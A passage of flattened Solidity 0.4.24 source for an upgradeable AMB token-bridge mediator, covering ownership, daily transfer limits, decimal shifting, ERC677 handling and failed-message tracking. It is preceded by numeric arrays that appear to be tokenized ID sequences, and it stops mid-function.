[ 1, 2610, 6411, 1234, 18, 15330, 1818, 906, 4193, 810, 1345, 968, 678, 1584, 44, 2078, 14667, 471, 1366, 358, 1605, 3889, 7720, 471, 1366, 358, 3410, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1196, 1345, 774, 1345, 12, 203, 3639, 1758, 8526, 745, 892, 4633, 743, 16, 203, 3639, 1758, 8526, 745, 892, 4633, 14667, 743, 16, 203, 3639, 2254, 5034, 2078, 14667, 16, 203, 3639, 2254, 5034, 1131, 990, 16, 203, 3639, 1758, 3410, 203, 565, 262, 3903, 288, 203, 3639, 2583, 12, 203, 5411, 1234, 18, 15330, 422, 9563, 4819, 87, 3120, 16, 203, 5411, 315, 984, 291, 91, 438, 58, 22, 1503, 11353, 4819, 87, 7, 4177, 1345, 774, 1345, 30, 20747, 67, 12194, 6, 203, 3639, 11272, 203, 203, 3639, 2583, 12, 203, 5411, 4633, 743, 63, 20, 65, 422, 4633, 14667, 743, 63, 20, 6487, 203, 5411, 315, 984, 291, 91, 438, 58, 22, 1503, 11353, 4819, 87, 7, 4177, 1345, 774, 1345, 30, 14275, 67, 706, 67, 30062, 11793, 6, 203, 3639, 11272, 203, 203, 3639, 467, 654, 39, 3462, 810, 1345, 273, 467, 654, 39, 3462, 12, 10717, 743, 63, 20, 19226, 203, 203, 3639, 2254, 5034, 3844, 382, 273, 810, 1345, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 2583, 12, 203, 5411, 3844, 382, 405, 374, 16, 203, 5411, 315, 984, 291, 91, 438, 58, 22, 1503, 11353, 4819, 87, 7, 4177, 1345, 774, 1345, 432, 5980, 5321, 67, 706, 67, 24968, 6, 203, 3639, 11272, 203, 203, 3639, 810, 1345, 18, 12908, 537, 12, 2867, 12, 10377, 67, 1457, 1693, 654, 3631, 3844, 382, 1769, 203, 203, 3639, 2254, 5034, 14036, 6275, 382, 273, 19462, 67, 1457, 1693, 654, 18, 22270, 5157, 1290, 2 ]
// File: contracts/interfaces/IAMB.sol pragma solidity 0.4.24; interface IAMB { function messageSender() external view returns (address); function maxGasPerTx() external view returns (uint256); function transactionHash() external view returns (bytes32); function messageId() external view returns (bytes32); function messageSourceChainId() external view returns (bytes32); function messageCallStatus(bytes32 _messageId) external view returns (bool); function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32); function failedMessageReceiver(bytes32 _messageId) external view returns (address); function failedMessageSender(bytes32 _messageId) external view returns (address); function requireToPassMessage(address _contract, bytes _data, uint256 _gas) external returns (bytes32); function sourceChainId() external view returns (uint256); function destinationChainId() external view returns (uint256); } // File: contracts/upgradeability/EternalStorage.sol pragma solidity 0.4.24; /** * @title EternalStorage * @dev This contract holds all the necessary state variables to carry out the storage of any contract. */ contract EternalStorage { mapping(bytes32 => uint256) internal uintStorage; mapping(bytes32 => string) internal stringStorage; mapping(bytes32 => address) internal addressStorage; mapping(bytes32 => bytes) internal bytesStorage; mapping(bytes32 => bool) internal boolStorage; mapping(bytes32 => int256) internal intStorage; } // File: contracts/interfaces/IUpgradeabilityOwnerStorage.sol pragma solidity 0.4.24; interface IUpgradeabilityOwnerStorage { function upgradeabilityOwner() external view returns (address); } // File: contracts/upgradeable_contracts/Ownable.sol pragma solidity 0.4.24; /** * @title Ownable * @dev This contract has an owner address providing basic authorization control */ contract Ownable is EternalStorage { bytes4 internal constant UPGRADEABILITY_OWNER = 0x6fde8202; // upgradeabilityOwner() /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event OwnershipTransferred(address previousOwner, address newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner()); /* solcov ignore next */ _; } /** * @dev Throws if called by any account other than contract itself or owner. */ modifier onlyRelevantSender() { // proxy owner if used through proxy, address(0) otherwise require( !address(this).call(abi.encodeWithSelector(UPGRADEABILITY_OWNER)) || // covers usage without calling through storage proxy msg.sender == IUpgradeabilityOwnerStorage(this).upgradeabilityOwner() || // covers usage through regular proxy calls msg.sender == address(this) // covers calls through upgradeAndCall proxy method ); /* solcov ignore next */ _; } bytes32 internal constant OWNER = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0; // keccak256(abi.encodePacked("owner")) /** * @dev Tells the address of the owner * @return the address of the owner */ function owner() public view returns (address) { return addressStorage[OWNER]; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner the address to transfer ownership to. */ function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0)); setOwner(newOwner); } /** * @dev Sets a new owner address */ function setOwner(address newOwner) internal { emit OwnershipTransferred(owner(), newOwner); addressStorage[OWNER] = newOwner; } } // File: contracts/upgradeable_contracts/Initializable.sol pragma solidity 0.4.24; contract Initializable is EternalStorage { bytes32 internal constant INITIALIZED = 0x0a6f646cd611241d8073675e00d1a1ff700fbf1b53fcf473de56d1e6e4b714ba; // keccak256(abi.encodePacked("isInitialized")) function setInitialize() internal { boolStorage[INITIALIZED] = true; } function isInitialized() public view returns (bool) { return boolStorage[INITIALIZED]; } } // File: openzeppelin-solidity/contracts/AddressUtils.sol pragma solidity ^0.4.24; /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param _addr address to check * @return whether the target address is a contract */ function isContract(address _addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(_addr) } return size > 0; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: contracts/upgradeable_contracts/DecimalShiftBridge.sol pragma solidity 0.4.24; contract DecimalShiftBridge is EternalStorage { using SafeMath for uint256; bytes32 internal constant DECIMAL_SHIFT = 0x1e8ecaafaddea96ed9ac6d2642dcdfe1bebe58a930b1085842d8fc122b371ee5; // keccak256(abi.encodePacked("decimalShift")) /** * @dev Internal function for setting the decimal shift for bridge operations. * Decimal shift can be positive, negative, or equal to zero. * It has the following meaning: N tokens in the foreign chain are equivalent to N * pow(10, shift) tokens on the home side. * @param _shift new value of decimal shift. */ function _setDecimalShift(int256 _shift) internal { // since 1 wei * 10**77 > 2**255, it does not make any sense to use higher values require(_shift > -77 && _shift < 77); uintStorage[DECIMAL_SHIFT] = uint256(_shift); } /** * @dev Returns the value of foreign-to-home decimal shift. * @return decimal shift. */ function decimalShift() public view returns (int256) { return int256(uintStorage[DECIMAL_SHIFT]); } /** * @dev Converts the amount of home tokens into the equivalent amount of foreign tokens. * @param _value amount of home tokens. * @return equivalent amount of foreign tokens. */ function _unshiftValue(uint256 _value) internal view returns (uint256) { return _shiftUint(_value, -decimalShift()); } /** * @dev Converts the amount of foreign tokens into the equivalent amount of home tokens. * @param _value amount of foreign tokens. * @return equivalent amount of home tokens. */ function _shiftValue(uint256 _value) internal view returns (uint256) { return _shiftUint(_value, decimalShift()); } /** * @dev Calculates _value * pow(10, _shift). * @param _value amount of tokens. * @param _shift decimal shift to apply. * @return shifted value. */ function _shiftUint(uint256 _value, int256 _shift) private pure returns (uint256) { if (_shift == 0) { return _value; } if (_shift > 0) { return _value.mul(10**uint256(_shift)); } return _value.div(10**uint256(-_shift)); } } // File: contracts/upgradeable_contracts/BasicTokenBridge.sol pragma solidity 0.4.24; contract BasicTokenBridge is EternalStorage, Ownable, DecimalShiftBridge { using SafeMath for uint256; event DailyLimitChanged(uint256 newLimit); event ExecutionDailyLimitChanged(uint256 newLimit); bytes32 internal constant MIN_PER_TX = 0xbbb088c505d18e049d114c7c91f11724e69c55ad6c5397e2b929e68b41fa05d1; // keccak256(abi.encodePacked("minPerTx")) bytes32 internal constant MAX_PER_TX = 0x0f8803acad17c63ee38bf2de71e1888bc7a079a6f73658e274b08018bea4e29c; // keccak256(abi.encodePacked("maxPerTx")) bytes32 internal constant DAILY_LIMIT = 0x4a6a899679f26b73530d8cf1001e83b6f7702e04b6fdb98f3c62dc7e47e041a5; // keccak256(abi.encodePacked("dailyLimit")) bytes32 internal constant EXECUTION_MAX_PER_TX = 0xc0ed44c192c86d1cc1ba51340b032c2766b4a2b0041031de13c46dd7104888d5; // keccak256(abi.encodePacked("executionMaxPerTx")) bytes32 internal constant EXECUTION_DAILY_LIMIT = 0x21dbcab260e413c20dc13c28b7db95e2b423d1135f42bb8b7d5214a92270d237; // keccak256(abi.encodePacked("executionDailyLimit")) function totalSpentPerDay(uint256 _day) public view returns (uint256) { return uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _day))]; } function totalExecutedPerDay(uint256 _day) public view returns (uint256) { return uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _day))]; } function dailyLimit() public view returns (uint256) { return uintStorage[DAILY_LIMIT]; } function executionDailyLimit() public view returns (uint256) { return uintStorage[EXECUTION_DAILY_LIMIT]; } function maxPerTx() public view returns (uint256) { return uintStorage[MAX_PER_TX]; } function executionMaxPerTx() public view returns (uint256) { return uintStorage[EXECUTION_MAX_PER_TX]; } function minPerTx() public view returns (uint256) { return uintStorage[MIN_PER_TX]; } function withinLimit(uint256 _amount) public view returns (bool) { uint256 nextLimit = totalSpentPerDay(getCurrentDay()).add(_amount); return dailyLimit() >= nextLimit && _amount <= maxPerTx() && _amount >= minPerTx(); } function withinExecutionLimit(uint256 _amount) public view returns (bool) { uint256 nextLimit = totalExecutedPerDay(getCurrentDay()).add(_amount); return executionDailyLimit() >= nextLimit && _amount <= executionMaxPerTx(); } function getCurrentDay() public view returns (uint256) { // solhint-disable-next-line not-rely-on-time return now / 1 days; } function addTotalSpentPerDay(uint256 _day, uint256 _value) internal { uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _day))] = totalSpentPerDay(_day).add(_value); } function addTotalExecutedPerDay(uint256 _day, uint256 _value) internal { uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _day))] = totalExecutedPerDay(_day).add(_value); } function setDailyLimit(uint256 _dailyLimit) external onlyOwner { require(_dailyLimit > maxPerTx() || _dailyLimit == 0); uintStorage[DAILY_LIMIT] = _dailyLimit; emit DailyLimitChanged(_dailyLimit); } function setExecutionDailyLimit(uint256 _dailyLimit) external onlyOwner { require(_dailyLimit > executionMaxPerTx() || _dailyLimit == 0); uintStorage[EXECUTION_DAILY_LIMIT] = _dailyLimit; emit ExecutionDailyLimitChanged(_dailyLimit); } function setExecutionMaxPerTx(uint256 _maxPerTx) external onlyOwner { require(_maxPerTx < executionDailyLimit()); uintStorage[EXECUTION_MAX_PER_TX] = _maxPerTx; } function setMaxPerTx(uint256 _maxPerTx) external onlyOwner { require(_maxPerTx == 0 || (_maxPerTx > minPerTx() && _maxPerTx < dailyLimit())); uintStorage[MAX_PER_TX] = _maxPerTx; } function setMinPerTx(uint256 _minPerTx) external onlyOwner { require(_minPerTx > 0 && _minPerTx < dailyLimit() && _minPerTx < maxPerTx()); uintStorage[MIN_PER_TX] = _minPerTx; } /** * @dev Retrieves maximum available bridge amount per one transaction taking into account maxPerTx() and dailyLimit() parameters. * @return minimum of maxPerTx parameter and remaining daily quota. */ function maxAvailablePerTx() public view returns (uint256) { uint256 _maxPerTx = maxPerTx(); uint256 _dailyLimit = dailyLimit(); uint256 _spent = totalSpentPerDay(getCurrentDay()); uint256 _remainingOutOfDaily = _dailyLimit > _spent ? _dailyLimit - _spent : 0; return _maxPerTx < _remainingOutOfDaily ? _maxPerTx : _remainingOutOfDaily; } function _setLimits(uint256[3] _limits) internal { require( _limits[2] > 0 && // minPerTx > 0 _limits[1] > _limits[2] && // maxPerTx > minPerTx _limits[0] > _limits[1] // dailyLimit > maxPerTx ); uintStorage[DAILY_LIMIT] = _limits[0]; uintStorage[MAX_PER_TX] = _limits[1]; uintStorage[MIN_PER_TX] = _limits[2]; emit DailyLimitChanged(_limits[0]); } function _setExecutionLimits(uint256[2] _limits) internal { require(_limits[1] < _limits[0]); // foreignMaxPerTx < foreignDailyLimit uintStorage[EXECUTION_DAILY_LIMIT] = _limits[0]; uintStorage[EXECUTION_MAX_PER_TX] = _limits[1]; emit ExecutionDailyLimitChanged(_limits[0]); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/interfaces/ERC677.sol pragma solidity 0.4.24; contract ERC677 is ERC20 { event Transfer(address indexed from, address indexed to, uint256 value, bytes data); function transferAndCall(address, uint256, bytes) external returns (bool); function increaseAllowance(address spender, uint256 addedValue) public returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool); } contract LegacyERC20 { function transfer(address _spender, uint256 _value) public; // returns (bool); function transferFrom(address _owner, address _spender, uint256 _value) public; // returns (bool); } // File: contracts/interfaces/ERC677Receiver.sol pragma solidity 0.4.24; contract ERC677Receiver { function onTokenTransfer(address _from, uint256 _value, bytes _data) external returns (bool); } // File: contracts/upgradeable_contracts/ERC677Storage.sol pragma solidity 0.4.24; contract ERC677Storage { bytes32 internal constant ERC677_TOKEN = 0xa8b0ade3e2b734f043ce298aca4cc8d19d74270223f34531d0988b7d00cba21d; // keccak256(abi.encodePacked("erc677token")) } // File: contracts/libraries/Bytes.sol pragma solidity 0.4.24; /** * @title Bytes * @dev Helper methods to transform bytes to other solidity types. */ library Bytes { /** * @dev Converts bytes array to bytes32. * Truncates bytes array if its size is more than 32 bytes. * NOTE: This function does not perform any checks on the received parameter. * Make sure that the _bytes argument has a correct length, not less than 32 bytes. * A case when _bytes has length less than 32 will lead to the undefined behaviour, * since assembly will read data from memory that is not related to the _bytes argument. * @param _bytes to be converted to bytes32 type * @return bytes32 type of the firsts 32 bytes array in parameter. */ function bytesToBytes32(bytes _bytes) internal pure returns (bytes32 result) { assembly { result := mload(add(_bytes, 32)) } } /** * @dev Truncate bytes array if its size is more than 20 bytes. * NOTE: Similar to the bytesToBytes32 function, make sure that _bytes is not shorter than 20 bytes. * @param _bytes to be converted to address type * @return address included in the firsts 20 bytes of the bytes array in parameter. */ function bytesToAddress(bytes _bytes) internal pure returns (address addr) { assembly { addr := mload(add(_bytes, 20)) } } } // File: contracts/upgradeable_contracts/ChooseReceiverHelper.sol pragma solidity 0.4.24; contract ChooseReceiverHelper { /** * @dev Helper function for alternative receiver feature. Chooses the actual receiver out of sender and passed data. * @param _from address of tokens sender. * @param _data passed data in the transfer message. * @return address of the receiver on the other side. */ function chooseReceiver(address _from, bytes _data) internal view returns (address recipient) { recipient = _from; if (_data.length > 0) { require(_data.length == 20); recipient = Bytes.bytesToAddress(_data); require(recipient != address(0)); require(recipient != bridgeContractOnOtherSide()); } } /* solcov ignore next */ function bridgeContractOnOtherSide() internal view returns (address); } // File: contracts/upgradeable_contracts/BaseERC677Bridge.sol pragma solidity 0.4.24; contract BaseERC677Bridge is BasicTokenBridge, ERC677Receiver, ERC677Storage, ChooseReceiverHelper { function _erc677token() internal view returns (ERC677) { return ERC677(addressStorage[ERC677_TOKEN]); } function setErc677token(address _token) internal { require(AddressUtils.isContract(_token)); addressStorage[ERC677_TOKEN] = _token; } function onTokenTransfer(address _from, uint256 _value, bytes _data) external returns (bool) { ERC677 token = _erc677token(); require(msg.sender == address(token)); require(withinLimit(_value)); addTotalSpentPerDay(getCurrentDay(), _value); bridgeSpecificActionsOnTokenTransfer(token, _from, _value, _data); return true; } /* solcov ignore next */ function bridgeSpecificActionsOnTokenTransfer(ERC677 _token, address _from, uint256 _value, bytes _data) internal; } // File: contracts/upgradeable_contracts/BaseOverdrawManagement.sol pragma solidity 0.4.24; contract BaseOverdrawManagement is EternalStorage { event AmountLimitExceeded(address recipient, uint256 value, bytes32 transactionHash); event AssetAboveLimitsFixed(bytes32 indexed transactionHash, uint256 value, uint256 remaining); bytes32 internal constant OUT_OF_LIMIT_AMOUNT = 0x145286dc85799b6fb9fe322391ba2d95683077b2adf34dd576dedc437e537ba7; // keccak256(abi.encodePacked("outOfLimitAmount")) function outOfLimitAmount() public view returns (uint256) { return uintStorage[OUT_OF_LIMIT_AMOUNT]; } function fixedAssets(bytes32 _txHash) public view returns (bool) { return boolStorage[keccak256(abi.encodePacked("fixedAssets", _txHash))]; } function setOutOfLimitAmount(uint256 _value) internal { uintStorage[OUT_OF_LIMIT_AMOUNT] = _value; } function txAboveLimits(bytes32 _txHash) internal view returns (address recipient, uint256 value) { recipient = addressStorage[keccak256(abi.encodePacked("txOutOfLimitRecipient", _txHash))]; value = uintStorage[keccak256(abi.encodePacked("txOutOfLimitValue", _txHash))]; } function setTxAboveLimits(address _recipient, uint256 _value, bytes32 _txHash) internal { addressStorage[keccak256(abi.encodePacked("txOutOfLimitRecipient", _txHash))] = _recipient; setTxAboveLimitsValue(_value, _txHash); } function setTxAboveLimitsValue(uint256 _value, bytes32 _txHash) internal { uintStorage[keccak256(abi.encodePacked("txOutOfLimitValue", _txHash))] = _value; } function setFixedAssets(bytes32 _txHash) internal { boolStorage[keccak256(abi.encodePacked("fixedAssets", _txHash))] = true; } /* solcov ignore next */ function fixAssetsAboveLimits(bytes32 txHash, bool unlockOnForeign, uint256 valueToUnlock) external; } // File: contracts/upgradeable_contracts/ReentrancyGuard.sol pragma solidity 0.4.24; contract ReentrancyGuard is EternalStorage { bytes32 internal constant LOCK = 0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92; // keccak256(abi.encodePacked("lock")) function lock() internal returns (bool) { return boolStorage[LOCK]; } function setLock(bool _lock) internal { boolStorage[LOCK] = _lock; } } // File: contracts/upgradeable_contracts/Upgradeable.sol pragma solidity 0.4.24; contract Upgradeable { // Avoid using onlyUpgradeabilityOwner name to prevent issues with implementation from proxy contract modifier onlyIfUpgradeabilityOwner() { require(msg.sender == IUpgradeabilityOwnerStorage(this).upgradeabilityOwner()); /* solcov ignore next */ _; } } // File: contracts/upgradeable_contracts/Sacrifice.sol pragma solidity 0.4.24; contract Sacrifice { constructor(address _recipient) public payable { selfdestruct(_recipient); } } // File: contracts/libraries/Address.sol pragma solidity 0.4.24; /** * @title Address * @dev Helper methods for Address type. */ library Address { /** * @dev Try to send native tokens to the address. If it fails, it will force the transfer by creating a selfdestruct contract * @param _receiver address that will receive the native tokens * @param _value the amount of native tokens to send */ function safeSendValue(address _receiver, uint256 _value) internal { if (!_receiver.send(_value)) { (new Sacrifice).value(_value)(_receiver); } } } // File: contracts/upgradeable_contracts/Claimable.sol pragma solidity 0.4.24; contract Claimable { bytes4 internal constant TRANSFER = 0xa9059cbb; // transfer(address,uint256) modifier validAddress(address _to) { require(_to != address(0)); /* solcov ignore next */ _; } function claimValues(address _token, address _to) internal { if (_token == address(0)) { claimNativeCoins(_to); } else { claimErc20Tokens(_token, _to); } } function claimNativeCoins(address _to) internal { uint256 value = address(this).balance; Address.safeSendValue(_to, value); } function claimErc20Tokens(address _token, address _to) internal { ERC20Basic token = ERC20Basic(_token); uint256 balance = token.balanceOf(this); safeTransfer(_token, _to, balance); } function safeTransfer(address _token, address _to, uint256 _value) internal { bytes memory returnData; bool returnDataResult; bytes memory callData = abi.encodeWithSelector(TRANSFER, _to, _value); assembly { let result := call(gas, _token, 0x0, add(callData, 0x20), mload(callData), 0, 32) returnData := mload(0) returnDataResult := mload(0) switch result case 0 { revert(0, 0) } } // Return data is optional if (returnData.length > 0) { require(returnDataResult); } } } // File: contracts/upgradeable_contracts/VersionableBridge.sol pragma solidity 0.4.24; contract VersionableBridge { function getBridgeInterfacesVersion() external pure returns (uint64 major, uint64 minor, uint64 patch) { return (5, 1, 0); } /* solcov ignore next */ function getBridgeMode() external pure returns (bytes4); } // File: contracts/upgradeable_contracts/BasicAMBMediator.sol pragma solidity 0.4.24; /** * @title BasicAMBMediator * @dev Basic storage and methods needed by mediators to interact with AMB bridge. */ contract BasicAMBMediator is Ownable { bytes32 internal constant BRIDGE_CONTRACT = 0x811bbb11e8899da471f0e69a3ed55090fc90215227fc5fb1cb0d6e962ea7b74f; // keccak256(abi.encodePacked("bridgeContract")) bytes32 internal constant MEDIATOR_CONTRACT = 0x98aa806e31e94a687a31c65769cb99670064dd7f5a87526da075c5fb4eab9880; // keccak256(abi.encodePacked("mediatorContract")) bytes32 internal constant REQUEST_GAS_LIMIT = 0x2dfd6c9f781bb6bbb5369c114e949b69ebb440ef3d4dd6b2836225eb1dc3a2be; // keccak256(abi.encodePacked("requestGasLimit")) /** * @dev Throws if caller on the other side is not an associated mediator. */ modifier onlyMediator { require(msg.sender == address(bridgeContract())); require(messageSender() == mediatorContractOnOtherSide()); _; } /** * @dev Sets the AMB bridge contract address. Only the owner can call this method. * @param _bridgeContract the address of the bridge contract. */ function setBridgeContract(address _bridgeContract) external onlyOwner { _setBridgeContract(_bridgeContract); } /** * @dev Sets the mediator contract address from the other network. Only the owner can call this method. * @param _mediatorContract the address of the mediator contract. */ function setMediatorContractOnOtherSide(address _mediatorContract) external onlyOwner { _setMediatorContractOnOtherSide(_mediatorContract); } /** * @dev Sets the gas limit to be used in the message execution by the AMB bridge on the other network. * This value can't exceed the parameter maxGasPerTx defined on the AMB bridge. * Only the owner can call this method. * @param _requestGasLimit the gas limit for the message execution. */ function setRequestGasLimit(uint256 _requestGasLimit) external onlyOwner { _setRequestGasLimit(_requestGasLimit); } /** * @dev Get the AMB interface for the bridge contract address * @return AMB interface for the bridge contract address */ function bridgeContract() public view returns (IAMB) { return IAMB(addressStorage[BRIDGE_CONTRACT]); } /** * @dev Tells the mediator contract address from the other network. * @return the address of the mediator contract. */ function mediatorContractOnOtherSide() public view returns (address) { return addressStorage[MEDIATOR_CONTRACT]; } /** * @dev Tells the gas limit to be used in the message execution by the AMB bridge on the other network. * @return the gas limit for the message execution. */ function requestGasLimit() public view returns (uint256) { return uintStorage[REQUEST_GAS_LIMIT]; } /** * @dev Stores a valid AMB bridge contract address. * @param _bridgeContract the address of the bridge contract. */ function _setBridgeContract(address _bridgeContract) internal { require(AddressUtils.isContract(_bridgeContract)); addressStorage[BRIDGE_CONTRACT] = _bridgeContract; } /** * @dev Stores the mediator contract address from the other network. * @param _mediatorContract the address of the mediator contract. */ function _setMediatorContractOnOtherSide(address _mediatorContract) internal { addressStorage[MEDIATOR_CONTRACT] = _mediatorContract; } /** * @dev Stores the gas limit to be used in the message execution by the AMB bridge on the other network. * @param _requestGasLimit the gas limit for the message execution. */ function _setRequestGasLimit(uint256 _requestGasLimit) internal { require(_requestGasLimit <= maxGasPerTx()); uintStorage[REQUEST_GAS_LIMIT] = _requestGasLimit; } /** * @dev Tells the address that generated the message on the other network that is currently being executed by * the AMB bridge. * @return the address of the message sender. */ function messageSender() internal view returns (address) { return bridgeContract().messageSender(); } /** * @dev Tells the id of the message originated on the other network. * @return the id of the message originated on the other network. */ function messageId() internal view returns (bytes32) { return bridgeContract().messageId(); } /** * @dev Tells the maximum gas limit that a message can use on its execution by the AMB bridge on the other network. * @return the maximum gas limit value. */ function maxGasPerTx() internal view returns (uint256) { return bridgeContract().maxGasPerTx(); } } // File: contracts/upgradeable_contracts/TransferInfoStorage.sol pragma solidity 0.4.24; contract TransferInfoStorage is EternalStorage { /** * @dev Stores the value of a message sent to the AMB bridge. * @param _messageId of the message sent to the bridge. * @param _value amount of tokens bridged. */ function setMessageValue(bytes32 _messageId, uint256 _value) internal { uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))] = _value; } /** * @dev Tells the amount of tokens of a message sent to the AMB bridge. * @return value representing amount of tokens. */ function messageValue(bytes32 _messageId) internal view returns (uint256) { return uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))]; } /** * @dev Stores the receiver of a message sent to the AMB bridge. * @param _messageId of the message sent to the bridge. * @param _recipient receiver of the tokens bridged. */ function setMessageRecipient(bytes32 _messageId, address _recipient) internal { addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))] = _recipient; } /** * @dev Tells the receiver of a message sent to the AMB bridge. * @return address of the receiver. */ function messageRecipient(bytes32 _messageId) internal view returns (address) { return addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))]; } /** * @dev Sets that the message sent to the AMB bridge has been fixed. * @param _messageId of the message sent to the bridge. */ function setMessageFixed(bytes32 _messageId) internal { boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))] = true; } /** * @dev Tells if a message sent to the AMB bridge has been fixed. * @return bool indicating the status of the message. */ function messageFixed(bytes32 _messageId) public view returns (bool) { return boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))]; } } // File: contracts/upgradeable_contracts/TokenBridgeMediator.sol pragma solidity 0.4.24; /** * @title TokenBridgeMediator * @dev Common mediator functionality to handle operations related to token bridge messages sent to AMB bridge. */ contract TokenBridgeMediator is BasicAMBMediator, BasicTokenBridge, TransferInfoStorage { event FailedMessageFixed(bytes32 indexed messageId, address recipient, uint256 value); event TokensBridged(address indexed recipient, uint256 value, bytes32 indexed messageId); /** * @dev Call AMB bridge to require the invocation of handleBridgedTokens method of the mediator on the other network. * Store information related to the bridged tokens in case the message execution fails on the other network * and the action needs to be fixed/rolled back. * @param _from address of sender, if bridge operation fails, tokens will be returned to this address * @param _receiver address of receiver on the other side, will eventually receive bridged tokens * @param _value bridged amount of tokens */ function passMessage(address _from, address _receiver, uint256 _value) internal { bytes4 methodSelector = this.handleBridgedTokens.selector; bytes memory data = abi.encodeWithSelector(methodSelector, _receiver, _value); bytes32 _messageId = bridgeContract().requireToPassMessage( mediatorContractOnOtherSide(), data, requestGasLimit() ); setMessageValue(_messageId, _value); setMessageRecipient(_messageId, _from); } /** * @dev Handles the bridged tokens. Checks that the value is inside the execution limits and invokes the method * to execute the Mint or Unlock accordingly. * @param _recipient address that will receive the tokens * @param _value amount of tokens to be received */ function handleBridgedTokens(address _recipient, uint256 _value) external onlyMediator { if (withinExecutionLimit(_value)) { addTotalExecutedPerDay(getCurrentDay(), _value); executeActionOnBridgedTokens(_recipient, _value); } else { executeActionOnBridgedTokensOutOfLimit(_recipient, _value); } } /** * @dev Method to be called when a bridged message execution failed. It will generate a new message requesting to * fix/roll back the transferred assets on the other network. * @param _messageId id of the message which execution failed. */ function requestFailedMessageFix(bytes32 _messageId) external { require(!bridgeContract().messageCallStatus(_messageId)); require(bridgeContract().failedMessageReceiver(_messageId) == address(this)); 